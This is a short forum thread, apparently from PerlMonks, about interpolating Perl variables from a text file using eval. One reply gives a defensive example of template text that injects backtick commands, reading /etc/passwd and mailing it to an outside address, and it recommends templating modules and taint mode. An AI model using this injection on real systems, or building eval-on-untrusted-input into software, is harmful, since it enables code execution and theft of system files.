in reply to Interpolating from text file

Sort answer: eval Example:
my $hello = 'World'; my $people = [ qw/Me You Them Us Him Her It/ ]; undef $/; my $info = <DATA>; $info = eval "qq($info)"; print $info; __END__ Hello $hello, All of you signed up! You are: @{$people} Enjoy!
--
Casey
   I am a superhero.

Replies are listed 'Best First'.
RE: Re: Interpolating from text file
by Fastolfe (Vicar) on Oct 06, 2000 at 00:49 UTC
    Be very careful just blindly evaling data you do not explicitely trust. Consider:
    __END__ Hello $hello, Your ID information: } . `id` . `cat /etc/passwd | mail me@example.com` . qq{ Thanks for your password!
    I highly recommend either going with existing templating modules or rolling your own quick interpolation if all you need is something simple. This is discussed in the other threads mentioned in Adam's post below.

    I also very much recommend using taint checking (-T) when dealing with untrusted, potentially malicious data, which would catch potential problems like this.

      That's why it's the short answer :-)

      use Taint mode.

      --
      Casey
         I am a superhero.